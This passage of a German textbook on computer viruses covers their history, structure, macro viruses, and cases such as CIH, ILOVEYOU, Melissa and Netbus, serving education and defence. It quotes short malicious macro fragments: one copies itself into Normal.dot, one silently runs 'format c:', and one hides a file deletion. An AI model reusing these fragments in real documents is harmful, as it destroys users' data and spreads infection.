Virus schätzungsweise 30% aller Emails weltweit. Da sind ca. 100 Millionen infizierte Emails. Entsprechend brachen vielerorts Server und Internetzugänge unter der zusätzlichen Last zusammen. Bereits kurz nach nach
MyDoomA, verbreitete sich ein noch gefährlichere Version MyDoomB. Diese griff per DoS die Webseiten von SCO und Microsoft an und verhinderte
den Zugang von Virenscannern auf deren Herstelleraktualisierungen.
2006
2006 sind über 72’000 verschiedene Computerbedrohungen - so genannte
Threads - bekannt. Eine Studie der US-Firma International Computer Security Association (ICSA) schätzt die Zunahme von neuen Viren auf 200
bis 300 Stück pro Monat!
heute
Zahlen der Firme AV-Test.org besagen, dass die Zahl der Computerviren,
wobei hier der MD5-Hash als Unterscheidungskriteriumg herangezogen
wird, förmlich explodiert.
Abbildung 4.1: AV-Test Statistik
4.3
Virenproblematik
Viren sind ein Ärgernis für alle Computerbenutzer. Ihre Folgen sind meist verheerend.
Angefangen vom Verlust eines Programms, über veränderte Dokumente bis hin zur
kompletten Neuinstallation des Betriebssystems reicht die Palette der möglichen Schäden. Die antiquierte Ansicht, dass nur Software-Raubkopierer mit Viren zu kämpfen
haben, ist seit der Verbreitung des Internets überholt. Das Internet mit seinem globalen Austausch von Informationen ist geradezu ein Eldorado für Viren und begünstigt
in hohem Masse deren Weiterverbreitung rund um den Globus.
Basierend auf der globalen Vernetzung sind auch komplett neue Angriffe möglich.
So sind Computerviren in der Lage, aufgrund vieler infizierter Rechner weltweit, so
viele Hits auf eine Webseite zu generieren, dass deren Server und Internetzugänge
überlastet werden. Hierbei spricht man von einem Denial Of Service.
Allen Viren gemein ist die Tatsache, dass sie sich selber reproduzieren können, d.h.
das Virus kann sich weiterverbreiten, indem es Kopien seiner selbst erzeugt. Deshalb
auch die Analogie zu ihren biologischen Namensvettern. Bleibt ein Virus deshalb über
längere Zeit unbemerkt, so ist es sehr wahrscheinlich, dass auch andere Rechner, welche mit dem verseuchten Computer kommunizieren, mit Viren befallen sind. Besonders in Firmen kann dieser Umstand, neben den bisher beschriebenen Ärgernissen,
einen betrchtlichen Aufwand verursachen, wenn in einer Säuberungsaktion hunderter
von Computer zu untersuchen und zu reinigen sind.
21
4.4
4.4.1
Virenarten und deren Verbreitung
Übersicht
Computerviren lassen sich aufgrund ihrer Eigenschaften in vier Klassen aufteilen.
• Klassisches Virus, z.B. Boot-Viren, File-Viren
• Makrovirus
• Trojanisches Pferd
• Wurm
Wie immer gilt auch hier - Keine Regel ohne Ausnahme. Aufgeweicht wird diese Aufteilung, da viele neuen Viren eine Kombination verschiedenen Klassen darstellen und
somit eine eindeutige Zuordnung erschweren.
Das Bundesamt für Sicherheit in der Informationstechnik (BSI) in Deutschland hat
im Frühling 2000 eine Studie veröffentlicht, welche die Verteilung der sich im Umlauf
befindlichen Computerviren prozentual gegenüberstellt.
Abbildung 4.2: Magazin c’T Heft 4/2000 Seite 209 basierend auf einer Studie des BSI
Beim Vergleich der Jahre 1998 und 1999 sieht man, dass zu diesem Zeitpunkt die
Ablösung der Diskette als primärer Datenträger durch das Email stattfand. Gleichzeitig entstehen durch die beginnende Vernetzung erste trojanische Pferde und Internetwürmer.
22
Abbildung 4.3: www.virus-radar.com complete List Year 2005
2005 hat die Internetvernetzung einen nie da gewesene Durchdringung erreicht.
Fast alle Firmen, angefangen bei kleinen KMUs mit einem oder zwei Arbeitsplätzen
bis hin zu weltweiten Grossfirmen sind im Internet vertreten und erlauben den Zugriff
darauf ihren Mitarbeitern. Weiter ist Breitbandinternet in den westlichen Ländern
selbst für private erschwinglich, so dass selbst die Haushalte permanent vernetzt sind.
Entsprechend dieser Entwicklung haben sich auch die Zahlen der am häufigsten
auftretenden Computerviren verschoben. Nun führen netzwerkfähige Viren die Liste
an und die alten klassischen Viren sind auf dem Rückzug.
4.4.2
(Klassisches) Virus
Klassische Computerviren sind ausführbare Programme, für die die Fähigkeit der Selbstreproduktion über ein Wirtsprogramm besonders charakteristisch ist. Unabhängig von
der Selbstreproduktion verfügen Viren über eine Wirkfunktion, in der Literatur auch
als Fracht oder “Schadroutine” bezeichnet. Bei einigen Viren ist die Wirkfunktion leer
oder als Gag implementiert. Ein bekanntes Virus letzterer Art ist der “Yankee-Doodle”,
welcher in periodischen Abständen das gleichnamige Lied auf dem PC-Lautsprecher
ausgibt.
Das Virus besteht in der Regel aus vier Teilen :
• Binäres Muster
Das Muster beschreibt eine eindeutige Identifikation, durch das das Virus sich
selbst erkennen kann. Mit Hilfe des Musters kann ein Virus jederzeit überprüfen,
ob eine ausführbare Datei bereits von ihm infiziert ist oder nicht. Diese Kennung
benutzen auch viele Virensuchprogramme, um schädliche Programme ausfindig
zu machen.
87 D5 EE C3 00 3A 66 27-53 00 01 00 68 00 40 00 +_+.:f’S._.h.@.
41 00 40 00 32 00 40 00-43 49 48 20 76 31 2E 32 [email protected][email protected] v1.2
20 54 54 49 54 00 00 00-00 00 00 00 00 00 00 00 TTIT...........
• Infektionsroutine
Der zweite Teil enthält die eigentliche Infektionsroutine. Also jener Programmteil, der nach einer nicht infizierten ausführbaren Datei sucht. Ist eine solche
gefunden, kopiert das Virus seinen Programmcode in diese Datei. Ausserdem befindet sich in diesem Teil auch jener Code, der die Datei bei Bedarf so umbaut,
dass das Virus bei Aufruf des Programms sofort aktiv werden kann.
23
Als Beispiel sei hier ein Programmausschnitt aus einem Makrovirus angefügt.
Dieser Ausschnitt kopiert die “schadhafte” Makroroutine AutoClose in die Standardvorlage (Normal.dot) von Microsoft Word. Verankert also das Virus zentral
in die Office-Installation.
Source$
= ActiveDocument.AttachedTemplate.FullName
Destination$ = NormalTemplate.FullName
Application.OrganizerCopy Source$, Destination$, "AutoClose",
wdOrganizerObjectProjectItems
Bei Programmviren sind zwei unterschiedliche Varianten möglich, wie sich ein Virus
in das Wirtsprogramm einklinken kann.
Die eine Variante besteht darin, dass sich das Virus an das bestehende Programm
anhängt (Append). Ein mit einem solchen Virus befallenes Programm wächst also in
seiner Grösse. Das befallene Programm ist weiterhin voll funktionstüchtig, startet aber
bei jedem Aufruf zusätzlich auch den angehängten Virencode.
Abbildung 4.4: «Overwrite» vs. «Append» Computerviren
Die andere Möglichkeit sieht so aus, dass sich das Virus direkt in das Wirtsprogramm hineinkopiert (Overwrite). Das Wirtsprogramm geht dabei irreparabel verloren. Die eigentliche Funktion des Programms geht verloren, so dass ein Defekt irgendwelcher Art für den Benutzer zu sehen ist.
• Wirkfunktion
Die Wirkfunktion, auch Fracht oder Schadroutine genannt, entscheidet darüber,
ob es sich um ein eher harmloses Virus handelt, das nur einen kleinen Scherz
macht, oder um einen destruktiven Typ, welcher eine mittlere oder grössere Katastrophe auslöst. Im harmlosesten Fall steht hier die Anweisung, dass das Virus
am Tag x ein Bild auf dem Monitor zeichnen oder einen bestimmten Text ausgeben soll. Es kann sich aber auch um den Befehl zum Löschen der Festplatte
handeln.
Anhand der meist sichtbaren Wirkfunktion merkt ein Anwender vielfach überhaupt erst, dass sein Rechner mit einem Virus infiziert ist.
24
Abbildung 4.5: Melissa Macrovirus - Wirkfunktion
• Virusende
In diesem Teil steht der Befehl, mit dem das Wirtsprogramm nach Ausführung des
Virencodes wieder zu jener Stelle zurückkehrt, an welcher das Virus den normalen
Programmablauf unterbrochen hat. Dieser Teil ist wichtig, um den Virenaufruf zu verdecken.
Viren benötigen also Programme, um sich dort unbemerkt einzuklinken. Sie werden
bei deren Ausführung automatisch ebenfalls gestartet. Nur so wird das Virus aktiv und
kann sich weiterverbreiten.
Klassische Wirtsprogramme für Viren sind ausführbare Dateien (Programme) mit
den Endungen EXE, COM und SCR1 . Aber auch dynamische Bibliotheken unter Windows - Endung DLL - und Overlay-Module bei MS-DOS - Endung OVL - sind mögliche
Träger von Viren. Seit kurzem werden auch immer mehr interpretierte Programmiersprachen wie VisualBasic VB oder VisualBasic Script VBS als Basis für Computerviren
missbraucht.
Früher noch sehr verbreitet waren auch so genannte Boot-Sektor Viren, die sich
nicht an Programme, sondern direkt an den Boot-Code des Betriebssystems klammern.
Dieser Boot-Code befindet sich auf Disketten und/oder Festplatten und sorgt eigentlich
för den Start eines Betriebssystems. Bei Festplatten befindet sich dieser Boot-Code im
Master Boot Record (kurz MBR).
1 Bildschirmschoner
haben die spezifische Endung SCR
25
Abbildung 4.6: Startvorgang eines IBM kompatiblen Computers
Ist ein Bootrecord mit einem Virus infiziert, so wird bei jedem Systemstart auch das
Virus aktiviert.
Neben MS-DOS basierenden Viren existieren aber auch Viren für das Betriebssystem MacOs von Apple oder UNIX. Ganz allgemein gilt, dass alle ausführbaren Programme und die Shared-Libraries potentielle Kandidaten für einen möglichen Virenbefall darstellen.
Immer ein Thema bei Diskussionen sind Attachement bei Emails, also angehängte
Programme und Dokumente. Auch diese können Viren enthalten und sollten deshalb
vor Gebrauch zuerst mit einem Virenscanner untersucht werden. Sehr häufig werden
mit Attachements Makroviren und trojanische Pferde verbreitet.
26
Beispiel : CIH-Virus
Das folgende Zitat ist ein Ausschnitt aus der Meldung vom 8. Juni 1998 des Heise
Verlages (www.heise.de/ct ).
CIH ist ein sogenanntes File bzw Programm-Virus, das sich in ausführbare Windows95/98-Dateien einschleust und sodann mit diesen Programmen verbreitet wird.
Abbildung 4.7: CIH Virus Signatur
Aufsehen erregt es vor allem wegen seiner Schadensroutine: Es ist in der Lage, (zumindest) bei Computern mit TX-Chipsatz die Inhalte des Flash-BIOS zu löschen. Bei
modernen Motherboards ist es möglich, nachträglich Updates des BIOS einzuspielen.
Ohne BIOS kann der Rechner nicht hochfahren - sobald CIH zugeschlagen hat, muss
daher das Flash-BIOS erst auf einem anderen Rechner reprogrammiert werden.
Auf Motherboards, die einen Schreibschutz-Jumper für das Flash-BIOS haben, sollte man sich vergewissern, dass dieser Schutz auch aktiv ist - dann sollte das Virus dem
BIOS nichts anhaben kännen. Allerdings berschreibt eine weitere Schadensroutine die
Festplatte mit Datenmüll. Es ist zu erwarten, dass alle bekannten Antivirusprogramme in Kürze in der Lage sind, dieses Virus zu erkennen und zu beseitigen. (nl/c’t)
Neben Raubkopien aus Fernost sind auch zum Teil fabrikneue Computer mit diesem Virus infiziert, wie folgende Quelle (http://www.europe.datafellows.com/v-descs/cih.htm)
belegt:
IBM shipped a batch of new Aptiva PCs with the CIH virus pre-installed during
March 1999, just a month before the virus activates destructively.
Das in diesem Bericht angesprochene Datum war der 26. April 1999. An diesem Tage sind ca. 200’000 Rechner aufgrund dieses Virus in China ausgefallen (gemss staatlichen Medien).
Hier in Europa wurde nur vereinzelte Fllte bekannt, was vor allem auch darauf
zurckzuführen ist, dass das CIH-Virus unter Microsoft Windows NT/2000/XP seine zerstörerische Wirkung nicht entfalten kann.
27
Beispiel : ILOVEYOU
Am Donnerstag den 4. Mai 2000 morgens um 10:30 schlug das ILOVEYOU Virus zu.
In kürzester Zeit wurden Tausende von Email-Server rund um die Welt mit Emails
überflutet. Es ist das bisher aggressivste Virus. Es hat innerhalb von wenigen Stunden
den ganzen Globus umrundet und Computer auf der ganzen Welt infiziert.
Das ILOVEYOU Virus ist ein VisualBasic - Script (kurz vbs), welches in einer Email
eingebettet ist. Das folgendes Bild aus dem Tages Anzeiger zeigt den Infektionsverlauf:
1. Ein Computeranwender empfängt ein mit ILOVEYOU infizierte Email.
2. Falls der Anwender das Attachement LOVE-LETTER-FOR-YOU.TXT öffnet, wird
der lokale Rechner infiziert. Je nach Einstellung von Outlook bzw. Outlook-Express
reicht bereits das reine Anschauen des Emails, um das Attachement auszuführen!
3. Einmal in Aktion versendet das Virus selbständig Emails an alle Einträge im
Adressbuch des Anwenders.
4. Bei den Empfängern angekommen, fängt das Spiel von vorne
Abbildung 4.8: Quelle : Tages Anzeiger vom 5. Mai 2000 Seite 2
Speziell an diesem Virus sind folgende zwei Eigenschaften:
1. Das Attachement ist so benannt, dass bei nur ein Teil des Namens - nämlich
LOVE-LETTER-FOR-YOU.TXT - sichtbar ist. Standardmässig blendet Windows
die Endungen (hier VBS) bekannter Dateitypen automatisch aus. Damit werden selbst instruierte Anwender, welche angewiesen wurden keine Programme
zu starten, getäuscht. Erst nach manueller Konfiguration zeigt Windows den korrekten Namen LOVE-LETTER-FOR-YOU.TXT.vbs.
2. Je nach dem verwendeten Emailprogramm von Microsoft, sprich Outlook oder
Outlook-Express, und der aktuellen Sicherheitsstufe reicht bereits das Ansehen
des Emails, um das VisualBasic Script auszuführen.
28
Neben dem weiterversandt infiziert das ILOVEYOU Virus lokal gespeicherte Bilder.
Eigentlich werden die Bilder nicht infiziert sondern gelöscht und durch das Virus selber unbekannt nach dem jeweiligen Bild, z.B. TIMEBILL.GIF.vbs. Auch hier macht
sich das Virus das Ausblenden bekannter Dateitypen zu nutze. Meistens wurde bei
solcherart infizierten Computer die lokale Office-Installation bzw. dessen Cliparts zerstört.
Einmal mehr zeigt sich mit diesem Vorfall, dass eine Microsoft Monokulturen, also
der Einsatz von nur Microsoft Produkten eine sehr anfällige Plattform für Computerviren darstellt.
Verwendet man ein anderes Email-Programm als Outlook, z.B. Notus Notes, so
muss der Anwender schon zwingend das Attachement starten, um den Rechner zu
infizieren. Damit das VisualBasic Script auch wirklich laufäfhig ist, benötigt man Windows 98, Windows 2000 oder auch eine andere Windows Version mit installiertem Internet Explorer v5.
Fehlt nur ein Glied in dieser Kette, verliert das Virus seinen Schrecken.
Abbildung 4.9: ILOVEYOU Email
Abbildung 4.10: Ausgabe des VisualBasic-Scripts
29
Beispiel: Bootsektorvirus
Lange Zeit galten die Bootsektorviren so gut wie ausgestorben, bis am 8. Januar 2008
wieder eine neue, weiter entwickelte Variante bekannt wurde. Hier ein Auszug aus
dem Artikel aus dem Heise Security Bereich2
Rückkehr der Bootsektor-Viren
Der Entwickler der Anti-Rootkit-Software GMER[1] hat einen Schädling entdeckt, der
sich im Master-Boot-Record (MBR) der Festplatte einnistet und Rootkit-Techniken verwendet, um sich im Windows-System zu verstecken. Die Forscher des Sicherheitsunternehmens Prevx[2] haben den Schädling auf mehreren kompromittierten Webseiten
entdeckt, die Sicherheitslücken in veralteter Software ausnutzen, um Schadsoftware
einzuschleusen.
Das bislang namenlose MBR-Rootkit [Trojan.Mebroot a.d.R] basiert auf dem frei
verfügbaren Code von BootRoot[3], einer Machbarkeitsstudie des Sicherheitsdienstleisters eEye. Forscher des Unternehmens hatten auf der Blackhat-USA-Konferenz
2005 demonstriert, wie sich ein Schädling in den MBR einnisten, beim Starten des
Systems Treiber manipulieren und so den Kernel von Windows NT und darauffolgenden Windows-Systemen unterwandern kann.
Der jetzt entdeckte Schädling kopiert laut der Beschreibung von GMER zunächst
den originalen Bootsektor auf den Sektor 62 der Festplatte, kopiert sich selbst in den
MBR und schreibt weitere Daten in die Sektoren 60 und 61 der Festplatte. Den RootkitTreiber schreibt der Schädling auf freie Sektoren, üblicherweise die letzten Sektoren
auf der Festplatte. Der Code im MBR ist anschließend verantwortlich, den RootkitTreiber zu laden.
Nach einem Neustart klinkt sich der Code im MBR in den Interrupt 13h ein und erhält dadurch die Kontrolle über geladene Daten und kann sich in den Windows-Kernel
einklinken und ihn so patchen, dass dieser den Rootkit-Treiber lädt. Der RootkitTreiber klinkt sich wiederum in die Systemfunktionen IRP_MJ_READ und IRP_MJ_WRITE
des Treibers disk.sys ein und leitet Leseanfragen für den Bootsektor auf den originalen
Code im Sektor 62 um. Außerdem baut der Treiber Verbindungen ins Internet auf.
Das MBR-Rootkit läuft unter Windows Vista nur eingeschränkt: Sofern die Benutzerkontensteuerung aktiviert ist, kann es sich nicht einnisten. Außerdem soll der Code
zum Suchen der zu patchenden Stelle im Kernel unter Vista fehlerhaft sein. Unter
Windows XP soll es jedoch funktionieren.
Aufspüren lässt sich das Rootkit mit einer sogenannten Cross-Reference, bei der
man die Ergebnisse einer Windows-Funktion nach dem Lesen des Bootsektors mit
den Ergebnissen eines Direktzugriffs unter Umgehung der Windows-Funktionen vergleicht. Das Entfernen gestaltet sich offenbar auch recht einfach. Mit dem WindowsWerkzeug fixmbr kann man den Schadcode überschreiben und so unschädlich machen.(dmk[9]/c’t)
2 http://www.heise.de/security/news/meldung/101445
30
4.4.3
Makrovirus
Makroviren sind in der Makrosprache eines Anwendungsprogrammes geschriebene
Routinen. Diese Makroroutinen sind in den zu bearbeitenden Text, Tabellen oder ähnlichem, für den normalen Anwender meist unsichtbar, eingebettet. Der Anwender aktiviert diese Routinen automatisch, wenn er den Text oder die Tabelle - mit dem entsprechenden Anwendungsprogramm lädt, bearbeitet oder speichert.
Die folgenden Ausführungen basieren auf Microsoft Office 97 mit der darin integrierten Visual-Basic Makrosprache. Die Nachfolgeprodukte Office 2000, Office XP, Office 2003 und auch Office 2007 verhalten sich praktisch identisch. Grundsätzlich lassen
sich aber Makroviren mit jeder beliebigen anwendungsinternen Programmiersprache
realisieren.
Gegenüber klassischen Viren müssen sich Makroviren an die Funktionalität des
Anwendungsprogrammes anbinden. Damit der Anwender jedoch nicht mitkriegt, dass
er zu den scheinbaren Informationen noch einen Virus bekommen hat, benutzt ein
Makrovirus sogenannte Automakrofunktionen. Ein Automakro besitzt einen vordefinierten Namen und wird ohne Besttäigung des Anwenders bei den entsprechenden
Aktionen automatisch ausgeführt.
Folgende Automakros sind in Word für Windows möglich :
• AutoExec Beim Start von Word für Windows
• AutoNew Beim Erstellen eines neuen Dokumentes
• AutoOpen Beim Öffnen eines Dokumentes
• AutoClose Beim Schliessen eines Textes
• AutoExit Beim Beenden von Word
Diese Liste ist nicht abschliessend.
Makros lassen sich in Dokumente (.doc), aber auch in Vorlagen (.dot) einbinden.
Für ein Virus sehr interessant sind natürlich die Vorlagen, da automatisch alle auf
dieser Vorlagen basierenden Dokumente das Virus mitenthalten. Die erste Vorlage,
die ein Makrovirus infiziert, ist die Standardvorlage von Word. Sie ist bei jeder OfficeInstallation vorhanden und nennt sich Normal.dot. Einmal darin verankert, kann das
Makrovirus jedes von Word bearbeitete oder neu generierte Dokument infizieren.
Die Firma Microsoft ist sich der Makroproblematik bei ihren Officeprodukten bewusst und zeigt beim Öffnen von Dokumenten, in denen Makros gefunden werden,
eine Warnung. Makros lassen sich nun aktivieren oder im Zweifelsfalle deaktivieren.
Abbildung 4.11: Macrowarnung in Microsoft Office
31
Scriptsprachen entwickeln sich immer weiter, und so ist es üblich, dass von Version zu Version zumeist grosse Änderungen vollzogen werden. Das bedeutet, dass die
Makroviren von der jeweiligen Scriptsprachenversion, mit der sie geschrieben wurden,
abhängig sind. Dasselbe gilt auch für die jeweilige Sprache. Deutsche Makros arbeiten
(meist) nicht in einer englischen Version und umgekehrt.
Die Warnhinweise sind aber nicht sehr effektiv. Erscheinen die Dialoge zu häufig,
schalten die Benuzter diese genervt ab. Auf
der anderen Seite kann aber auch ein Computervirus den Dialog abschalten, was
die Warnungen unterbindet.
Office 2007 Neuerungen
Microsoft hat sich erst mit Office 2007 und den neuen Dateiformaten dem Problem
mangelnden Transparenz bei den Dateiendungen angenommen. Nur noch Endungen
mit einem «m» enthalten aktive Makros. Alle anderen Formate können zwar noch Makros enthalten, sind aber nicht aktiv.
Abbildung 4.12: Office 2007 Dateiendungen
Somit ist klar, wo Makroviren zu finden sind. Nun stellt sich aber die Frage, ja was
können Makroviren eigentlich alles tun?
Zum einen ist es Makros erlaubt, sämtliche Officekomponenten wie Word, Excel, Access, Powerpoint und Outlook fernzusteuern. So kann also ein Word-Makro mit Outlook
eine Email versenden oder direkt in ein aktuell in Bearbeitung befindliches Dokument,
eigenen Text einfügen. Das Beispiel des Melissa-Virus zeigt dies auf sehr eindrückliche
Art und Weise.
In der Zwischenzeit hat Microsoft auch für dieses Problem eine leider nur halbherzige Lösung erarbeitet. Detektiert Outlook einen «für Microsoft unbekannten Zugriff»
erscheint ein Popup, welches den Benutzer fragt, ob der Zugriff zugelassen sein soll
oder nicht.
32
Abbildung 4.13: Outlookzugriff zulassen und Zeitdauer
Inbesondere Nutzer von «nicht» Microsoft Synchronisierungsprogrammen, wie Palm
Desktop oder Nokia PC-Suite, sind von diesem wenig aussagekräftigen Popup betroffen.
Weitaus gefährlicher für den eigenen Rechner ist die Tatsache, dass ein Makro Befehle der Kommandozeile ausführen kann. Gewisse Befehle sind bei jeder Microsoft
Windows-Installation vorhanden und befinden sich im Standardsuchpfad. Eines dieser
Befehle ist das Format-Kommando, mit dem sich ein Laufwerk initialisieren lässt, was
normalerweise einen kompletten Datenverlust zu Folge hat.
Das Makrovirus Format C benutzt genau diesen Befehl, um das Laufwerk C zu
formatieren. Diesen zerstörerischen Teil des Virus ist nachfolgend abgebildet.
Sub MAIN
(Office 95 : WordBasic)
sCmd$ = "echo y | format c: /u "
Shell Environ("COMSPEC ") + "/C " + sCmd$, 0
End Sub
Aber auch andere Befehle sind möglich, wie zum Beispiel das Löschen von Dateien.
Sub Test()
(Office 97 und höher : VBA)
sCmd$ = "del d:\test.txt"
sExec$ = Environ("COMSPEC")
Shell sExec$ + " /C " + sCmd$, vbHide
End Sub
Office 97 und höher
Alle Office-Version ab Version 97 arbeiten mit Visual Basic for Application. Entsprechend sind Makroviren - selbst noch unter Office 97 geschrieben - noch heute gefährlich. In allen Officeversionen kann die Sicherheitsstufe in der Registry manipuliert
werden oder anders ausgedrückt, die Einstellung der Sicherheitsstufe wird in der Registry abgelegt. Dort sind sie aber auch von Computerviren manipulierbar.
Dreistufige Sicherheitsbewertung:
1. Sicherheitsstufe hoch : Standardeinstellung
Deaktiviert alle nicht zertifizierten Makros. Es erfolge keine Warnung, falls im
Dokument zertifizierte Makros enthalten sind. Wird ein Makro ausgeführt, erscheint ein Warnhinweis (verleitet zur Aktivierung einer niedrigeren Stufe, damit
die Hinweise aufhören).
2. Sicherheitsstufe mittel
Warnung, falls ein Dokument Makros enthält
Wird ein Makro ausgefhrt, erscheint ein Warnhinweis (verleitet zur Aktivierung
einer niedrigeren Stufe, damit die Hinweise aufhören).
33
3. Sicherheitsstufe niedrig
Alle Makros aktiviert - Keine Warnhinweise
34
Abbildung 4.14: Office Sicherheitsstufen
35
Abbildung 4.15: Auszug aus der Online-Hilfe von Office 2000
36
Abbildung 4.16: Auszug aus der Online-Hilfe von Office 2003
37
Beispiel : Melissa
Melissa, genauer gesagt W97M.MelissaA, ist ein typisches Makrovirus, welches aber
eine sehr ungewöhnliche Wirkfunktion (Fracht) enthält. Falls ein Benutzer ein infiziertes Word-Dokument öffnet, versucht der Virus mittels Outlook an die ersten 50
Einträge im Adressbuch eine Email mit einer Kopie der infizierten Datei zu senden.
Daneben deaktiviert der Virus die Makrowarnfunktion in Ms Word. Das Virus infiziert
Dokumente, indem es ein neues Visual-Basic for Application Module (Version 5.0) mit
Namen Melissa hinzufügt.
Grundsätzlich verbreitet sich Melissa aber nicht nur per Email. Ist auf einem System keine Outlook installiert, so infiziert Melissa als normales Makrovirus die Standardvorlage NORMAL.DOT von Word. Alle weiteren darauf aufbauenden Dokumente
werden ebenfalls infiziert. Wird nun ein solches Dokument auf einen anderen Rechner kopiert und geöffnet, so testet Melissa wiederum die Maschine, ob bereits Emails
versandt wurden oder nicht. Der Kreis beginnt von neuem.
Das erste Mal tauchte das Virus in der Newsgruppe alt.sex auf. Dort wurde in einer
Nachricht ein Attachement mitgeliefert, welches Passwörter für Sex-Accounts beinhalte.
Abbildung 4.17: Ursprung der Infektion
Dieses Attachement (list.zip) enthielt eine mit dem Melissa-Virus infizierte WordDatei.
38
Abbildung 4.18: Infiziertes Word-Dokument «List.doc»
Die primäre Schadroutine des Melissa Virues besteht darin, mit Ms Outlook an die
ersten 50 Einträge im Adressbuch eine Kopie der infizierten Datei zu senden. Öffnet
ein Benutzer zum ersten mal eine mit Melissa infizierte Datei, so überprüft das Virus,
ob es bereits die 50 Emails verschickt hat. Dazu kontrolliert es die Registry und sucht
den Eintrag :
HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?
Existiert dieser und besitzt den Wert “... by Kwyjibo”, so deaktiviert sich Melissa wieder, da die Emails bereits versandt wurden. Dies lässt sich als minimaler Virenschutz
ausnutzen. Setzt man diesen Eintrag von Hand, kann die Massenverbreitung von
Emails gestoppt bzw. verhindert werden. Ist in der Registry kein solcher Eintrag zu
finden, so führt das Virus wie folgt weiter :
1. Öffnet Ms Outlook (falls installiert)
2. Bentzt MAPI -Aufrufe, um das aktuelle Benutzerprofil zu erhalten
3. Generiert eine neue Nachricht, welche an maximal 50 Adressen versandt wird,
welche sich im Adressbuch des Benutzer befinden.
4. Das Subjekt dieser Nachricht trägt den Text Important Message From USERNAME. USERNAME ist dabei derjenige Benutzername, welche in den Word BenutzerEinstellungen eingetragen ist.
5. Als eigentlicher Text der Nachricht steht die Zeile : Here is that document you
asked for ... don’t show anyone else ;-).
6. Zusätzlich fügt das Virus ein Attachement ein, welches ein infiziertes Dokument
enthält.
7. Versendet die Nachricht
Daneben enthält in Melissa noch eine weitere (sekundäre) Schadroutine. Diese
fügt einmal in jeder Stunde zur Minute, welche dem aktuellen Monatstag, entspricht folgenden Text ein:
" Twenty-two points, plus triple-word-score, plus fifty points
for using all my letters. Game’s over. I’m outta here."
39
Beispiel : Am 16. eines jeden Monats wird genau um 16 Minuten nach der vollen Stunden (falls ein infiziertes Dokument geöffnet oder geschlossen wird) obiger Text eingefügt.
Das Virus tarnt seine Anwesenheit auf diverse Arten, je nach dem, welche Microsoft
Word Version verwendet wird.
Ms Word 97
• Deaktiviert den Menupunkt EXTRAS/MAKRO : Verhindert manuelle Kontrolle
der verwendeten Makros
• Deaktiviert den Dialog zum Speichern der Standardvorlage bei einer Änderung :
Unterdrückt die Benutzerbenachrichtigung, falls die Standardvorlage verändert
wurde.
• Deaktiviert den Makroviren-Schutz in den Word-Einstellungen : Verhindert Warnmeldung, falls ein Dokument Makros enthält.
• Deaktiviert den Konvertierungsdialog.
Ms Word 2000 oder höher
• Deaktiviert den Menupunkt MAKRO-SICHERHEIT : Keine manuelle Änderung
des Makro-Sicherheitslevel mehr möglich.
4.4.4
Trojanisches Pferd
Trojanische Pferde sind Programme, die vorgeben, etwas Nützliches zu leisten oder unbemerkt an fremde Software angehängt wurden. Sie nisten sich unbemerkt im System
ein und spionieren es aus. Die so gesammelten Informationen werden ins Netzwerk
(z.B. Internet) weitergeleitet.
Die Bedrohung für den Benutzer besteht in erster Linie im Verlust der Vertraulichkeit von eigenen Dateien und Passwrtern. Basierend auf diesen gestohlenen Informationen sind jedoch bösartige Manipulationen oder sonstige Schäden möglich.
Verbreitet werden trojanische Pferde, wie das klassische Virus, durch Programme
bzw. Codefragmente. Es ist auch möglich, die Funktionen des klassischen Virus und
eines trojanischen Pferdes zu kombinieren.
Ein Beispiel eines trojanischen Pferdes nennt sich Netbus. Dieses Virus besteht
aus zwei Komponenten. Aus einem Server, welcher Funktionen auf dem Rechner des
Opfers ins Netzwerk freigibt, und einem Client, welcher die angebotenen Funktionen
für einen Angriff nutzt.
Abbildung 4.19: Netbus Client-Server Modell
Eingeschleust auf einem Windows NT Rechner gibt das Programm Y2K_Patch.exe
lokalen Ressourcen und Funktionen ins Netzwerk frei. Ausgestattet mit der Fernbedienung (Remote-Control) NetBus.exe kann man nun die freigegebenen Funktionen
40
benutzen und den infizierten Rechner ausspähen, bzw. den dort arbeitenden Benutzer
berwachen.
Eine Möglichkeit, wie man von diesem trojanischen Pferd befallen werden kann, ist
nachfolgend dargestellt :
Es ist eine simple Email, welche ausgestattet mit einem Attachement, die Lösung
eines Problems verspricht. Startet ein Anwender nun dieses Attachement, so aktiviert
er automatisch das trojanische Pferd.
Abbildung 4.20: EMail mit Attachement
Mit der Kenntnis des Namens, auf welchem Rechner das trojanische Pferd läuft,
kann man nun den Client, also die Remote-Control-Einheit starten und die Kontrolle
des fremden Rechners bernehmen.
Abbildung 4.21: Netbus «remote control»
41
Neben eher belustigenden Gags, wie zum Beispiel das automatische Aus- und Einfahren des CD/DVD-ROM Schlittens im 5 Sekundenintervall, können Screenshots (FUNKTIONS SCREENDUMP) gemacht oder die Tastatureingaben (Funktion LISTEN) aufgezeichnet werden. Mit letzterem lassen sich auf einfachste Weise Passwörter und
sonstige Eingaben protokollieren und sammeln.
Die Kommunikation zwischen Opfer und Angreifer basiert auf dem Netzwerkprotokoll TCP/IP. Unter Microsoft Windows ist es möglich diese Kommunikation nachzuweisen und zwar mit dem Befehle netstat -a.
Ein auf einem Rechner (Opfer) arbeitendes Y2K_Patch-Programm wird wie folgt
angezeigt.
TCP ztnw678:12345 0.0.0.0:0 LISTENING
Diese Zeile zeigt, dass auf dem Rechner ztnw678 auf dem Netzwerk-zugang Ð auch
Port genannt- 12345 ein Programm (hier Y2K_Patch.exe) wartet, bis sich ein anderes
Programm meldet (LISTENING). Die Datenbertragung an sich soll verbindungsorientiert (TCP) erfolgen.
Nimmt nun ein Angreifer Kontakt zu diesem Opfer auf, so erscheint eine zustzlich
Zeile.
TCP ztnw678:12345 ztnw600.test.ch:1355 ESTABLISHED
Aufgeschlüsselt sind folgende Information zu entnehmen. Vom Netzwerkrechner ztnw600
Port 1355 - wurde eine Verbindung zum Opfer auf ztnw678 Port 12345 - aufgebaut
(ESTABLISHED). Wie bereits oben erwähnt, basiert die Datenübertragung auf TCP.
Neuere Versionen dieses Programmes werden leider immer intelligenter. So kann
es neu ganze Netzwerke absuchen und den obigen einmaligen Port mit der Nummer
12345 dynamisch ändern. In einem Firmennetzwerk ist es nun nicht mehr nötig, zu
wissen auf welchem Rechner die trojanischen Pferde arbeiten, das Programm sucht
die infizierten Rechner automatisch. Zum anderen kann das Programm sich mit anderen Ports im Falle der aktiven Client-Server Anwendungen verstecken. Weicht das
Programm zum Beispiel auf den Port 80 aus, so ist es nur noch schwer von einem installierten Web-Server zu unterscheiden.
4.4.5
Wurm
